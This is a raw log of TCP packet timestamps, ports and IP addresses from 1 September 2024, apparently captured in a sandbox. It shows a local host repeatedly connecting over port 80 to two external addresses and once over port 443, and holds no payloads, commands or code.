Sep 1, 2024 05:09:28.708144903 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708173990 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708239079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708249092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708257914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708266020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708292961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708302021 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708396912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708406925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708415031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708424091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708436966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708441973 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708446980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708463907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708472967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708498955 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708528042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708537102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708544970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708554983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708563089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708570957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708573103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708580971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708592892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708604097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708616018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708666086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708674908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708684921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708699942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708709002 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708726883 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.743539095 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.748331070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.986653090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.986669064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.986680031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.986732960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.986741066 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.986757994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.986772060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.986771107 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.986788988 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.986818075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987308025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987354040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987365961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987404108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987421989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987433910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987446070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987476110 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987495899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987555027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987565041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987575054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987586021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987591028 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987596989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987624884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987639904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987683058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987694979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987704992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987715960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987720013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987728119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987749100 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987775087 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987802029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987812042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987822056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987843037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987862110 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.987916946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987927914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987937927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987950087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.987967014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988009930 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988038063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988050938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988060951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988070965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988076925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988081932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988091946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988101959 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988102913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988114119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988128901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988142967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988168955 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988198996 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988209009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988220930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988250017 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988274097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988275051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988286972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988292933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988322973 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988521099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988532066 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988543034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988554955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988564968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988575935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988575935 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988586903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988604069 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988609076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988620043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988620043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988631010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988640070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988646984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988651037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988676071 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988688946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988698959 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988699913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988709927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988719940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988725901 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988739967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988760948 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988835096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988847017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988857985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988867998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988878965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988888979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988897085 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988915920 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988926888 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988936901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988945961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988967896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988977909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.988979101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.988990068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989017010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.989039898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.989286900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989296913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989308119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989319086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989329100 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.989347935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989361048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989366055 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.989377022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989398956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.989403009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989412069 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.989413023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.989451885 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.989469051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:29.020405054 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:29.020500898 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:29.021249056 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:29.025995970 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:29.268686056 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:29.268774033 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:29.385519981 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:29.385951996 CEST	49792	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:29.390861034 CEST	80	49792	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:29.390873909 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:29.390968084 CEST	49792	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:29.390973091 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:29.391113997 CEST	49792	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:29.395874977 CEST	80	49792	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:29.464107990 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:29.464143991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:29.469348907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:29.469454050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:30.155173063 CEST	80	49792	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:30.157433987 CEST	49792	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:30.158119917 CEST	49792	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:30.162856102 CEST	80	49792	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:30.412601948 CEST	80	49792	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:30.413149118 CEST	49792	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:30.461910963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:30.465868950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:30.565574884 CEST	49792	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:30.570730925 CEST	80	49792	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:30.573057890 CEST	49792	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:30.576553106 CEST	49793	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:30.581350088 CEST	80	49793	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:30.581424952 CEST	49793	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:30.609977961 CEST	49793	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:30.614778042 CEST	80	49793	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:30.649292946 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:30.654149055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:30.894505024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:30.894521952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:30.894530058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:30.894573927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:30.894629955 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:30.896620989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:30.901446104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:31.141592979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:31.141671896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:31.153290033 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:31.158149004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:31.328572035 CEST	80	49793	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:31.328629017 CEST	49793	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:31.329440117 CEST	49793	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:31.334412098 CEST	80	49793	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:31.577060938 CEST	80	49793	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:31.577756882 CEST	49793	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:31.684803009 CEST	49793	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:31.685179949 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:31.690054893 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:31.690140009 CEST	80	49793	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:31.690227032 CEST	49793	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:31.690238953 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:31.690321922 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:31.695071936 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:31.952014923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:31.952110052 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:31.978755951 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:31.983648062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:32.230627060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:32.230642080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:32.230650902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:32.230657101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:32.230665922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:32.230675936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:32.230720043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:32.230768919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:32.232337952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:32.237191916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:32.429122925 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:32.429202080 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:32.430210114 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:32.435003996 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:32.676093102 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:32.676326036 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:32.777367115 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:32.777607918 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:32.782399893 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:32.782504082 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:32.782533884 CEST	80	49794	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:32.782589912 CEST	49794	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:32.782654047 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:32.787472963 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:33.031506062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:33.031681061 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:33.550405979 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:33.550507069 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:33.551197052 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:33.555979967 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:33.609452963 CEST	49796	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:33.614542007 CEST	80	49796	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:33.614615917 CEST	49796	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:33.614711046 CEST	49796	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:33.619535923 CEST	80	49796	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:33.797305107 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:33.797370911 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:33.916033030 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:33.916354895 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:34.104617119 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:34.104724884 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:34.104767084 CEST	80	49795	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:34.104909897 CEST	49795	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:34.107027054 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:34.111995935 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:34.354538918 CEST	80	49796	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:34.354708910 CEST	49796	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:34.395342112 CEST	49796	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:34.404619932 CEST	80	49796	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:34.647185087 CEST	80	49796	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:34.647238970 CEST	49796	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:34.854726076 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:34.855614901 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:35.197618008 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:35.202625036 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:35.449481964 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:35.449594975 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:35.676378012 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:35.676713943 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:35.681575060 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:35.681665897 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:35.681854963 CEST	80	49797	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:35.683614969 CEST	49797	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:35.688891888 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:35.693732977 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:36.422256947 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:36.422310114 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:36.423302889 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:36.428051949 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:36.669914961 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:36.669966936 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:36.774840117 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:36.775208950 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:36.780076027 CEST	80	49804	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:36.780134916 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:36.780158997 CEST	80	49798	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:36.780205011 CEST	49798	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:36.781737089 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:36.786531925 CEST	80	49804	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:37.388169050 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:37.388189077 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:37.388324022 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:37.388498068 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:37.388509035 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:37.516731024 CEST	80	49804	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:37.516835928 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:37.527499914 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:37.532327890 CEST	80	49804	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:37.774120092 CEST	80	49804	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:37.778179884 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:37.904155970 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:37.904521942 CEST	49808	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:37.991980076 CEST	80	49804	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:37.991991043 CEST	80	49808	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:37.992053032 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:37.992070913 CEST	80	49804	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:37.992099047 CEST	49808	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:37.992122889 CEST	49804	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:37.996011019 CEST	49808	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:38.000744104 CEST	80	49808	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:38.020760059 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.021586895 CEST	49806	443	192.168.2.4	142.250.181.225
Sep 1, 2024 05:09:38.021603107 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.021987915 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.022001028 CEST	443	49806	142.250.181.225	192.168.2.4
Sep 1, 2024 05:09:38.022052050 CEST	49806	443	192.168.2.4	142.250.181.225
